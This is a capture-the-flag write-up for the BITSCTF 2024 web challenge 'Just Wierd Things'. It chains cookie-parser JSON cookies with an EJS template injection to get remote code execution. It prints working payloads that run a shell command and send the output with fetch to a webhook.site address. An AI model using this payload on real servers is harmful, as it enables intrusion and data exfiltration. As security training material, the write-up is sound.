← Back to home

BITSCTF 2024 — Just Wierd Things

You have the power to change some things. Now will you be mogambro or someone else?

You might stumble across some red herrings...

We're given an express server that looks like this:

Code (js):

1const express = require('express');
2const cookieParser = require('cookie-parser');
3const path = require('path');
4const bodyParser = require('body-parser');
5const jwt = require('jsonwebtoken');
6
7
8const app = express();
9const PORT = 3000;
10
11app.use(cookieParser());
12app.use(bodyParser.urlencoded({ extended: true }));
13app.set('views', path.join(__dirname, "view"));
14app.set('view engine', 'ejs');
15
16const mainToken = "Your_Token";
17const mainuser="particular_username";
18
19app.get('/', (req, res) => {
20    let mainJwt = req.cookies.jwt || {};
21
22    try {
23        let jwtHead = mainJwt.split('.');
24
25        let jwtHeader = jwtHead[0];
26        jwtHeader = Buffer.from(jwtHeader, "base64").toString('utf8');
27        jwtHeader = JSON.parse(jwtHeader);
28        jwtHeader = JSON.stringify(jwtHeader, null, 4);
29        mainJwt = {
30            header: jwtHeader
31        }
32
33        let jwtBody = jwtHead[1];
34        jwtBody = Buffer.from(jwtBody, "base64").toString('utf8');
35        jwtBody = JSON.parse(jwtBody);
36        jwtBody = JSON.stringify(jwtBody, null, 4);
37        mainJwt.body = jwtBody;
38
39        let jwtSignature = jwtHead[2];
40        mainJwt.signature = jwtSignature;
41    } catch(error) {
42        if (typeof mainJwt === 'object') {
43            mainJwt.error = error;
44        } else {
45            mainJwt = {
46                error: error
47            };
48        }
49    }
50    res.render('index', mainJwt);
51});
52
53app.post('/updateName', (req, res) => {
54    try {
55        const newName = req.body.name;
56        const token = req.cookies.jwt || ""; 
57        const decodedToken = jwt.decode(token);
58        decodedToken.name = newName;
59        const newToken = jwt.sign(decodedToken, 'randomSecretKey');
60        if (newName === mainuser) {
61            res.cookie('jwt', mainToken);
62        }else{
63            res.cookie('jwt', newToken);
64        }
65        res.redirect('/');
66    } catch (error) {
67        res.redirect('/');
68    }
69});
70
71
72
73app.listen(PORT, (err) => {
74    console.log(`Server is Running on Port ${PORT}`);
75});

The server looks for a jwt cookie on req, and attempts to parse it as a JWT (by splitting it by ., then attempting to base 64 decode and JSON parse each component), creating an object that looks like

Code (js):

1{
2  header: '{\n    "alg": "HS256",\n    "typ": "JWT"\n}',
3  body: '{\n' +
4    '    "sub": "1234567890",\n' +
5    '    "name": "Mike Oxfat",\n' +
6    '    "iat": 1516239022\n' +
7    '}',
8  signature: 'l04Dmbi20P6OxKueB0euZiFFv4NoSpnwIm0HPmAR914'
9}

(yes, this is the actual default JWT given in the source input.)

If there's an error at any point, the server populates mainJwt with a field containing the error object:

Code:

1{
2  error: TypeError: mainJwt.split is not a function
3      at C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\app.js:23:31
4      at Layer.handle [as handle_request] (C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\express\lib\router\layer.js:95:5)
5      at next (C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\express\lib\router\route.js:137:13)
6      at Route.dispatch (C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\express\lib\router\route.js:112:3)
7      at Layer.handle [as handle_request] (C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\express\lib\router\layer.js:95:5)
8      at C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\express\lib\router\index.js:281:22
9      at Function.process_params (C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\express\lib\router\index.js:341:12)
10      at next (C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\express\lib\router\index.js:275:10)
11      at urlencodedParser (C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\body-parser\lib\types\urlencoded.js:91:7)
12      at Layer.handle [as handle_request] (C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\express\lib\router\layer.js:95:5)
13}

Then, it passes mainJwt to res.render.

Code (js):

1res.render('index', mainJwt);

The main idea here is that the EJS template render function is vulnerable to RCE template injection. Using a modified version of the linked payload, if we can inject an object like

Code (js):

1{"settings":{"view options":{"outputFunctionName":"x\nfetch(`https://webhook.site/adf27505-0324-4112-9471-791221805ccb?flag=${process.mainModule.require('child_process').execSync('cat ../flag.txt').toString()}`)\ns"}}}

into res.render, we can get RCE and leak the flag.

The second main idea is that the server uses the cookie-parser middleware to parse request cookies:

Code (js):

1app.use(cookieParser());

From the cookie-parser docs,

In addition, this module supports special “JSON cookies”. These are cookie where the value is prefixed with j:. When these values are encountered, the value will be exposed as the result of JSON.parse. If parsing fails, the original value will remain.

If we prepend our cookie value with j:, we can inject an arbitrary JSON payload into req.cookies.jwt. Then, when .split() fails, the error handler will simply attach an error field to the object, leaving our other fields intact.

Then, our final payload (to be injected via cookie) is

Code:

1j:{"settings":{"view options":{"outputFunctionName":"x\nfetch(`https://webhook.site/adf27505-0324-4112-9471-791221805ccb?flag=${process.mainModule.require('child_process').execSync('cat ../flag.txt').toString()}`)\ns"}}}

Refreshing the page, we get the flag:

Code:

1BITSCTF{Juggling_With_Tokens:_A_Circus_of_RCE!}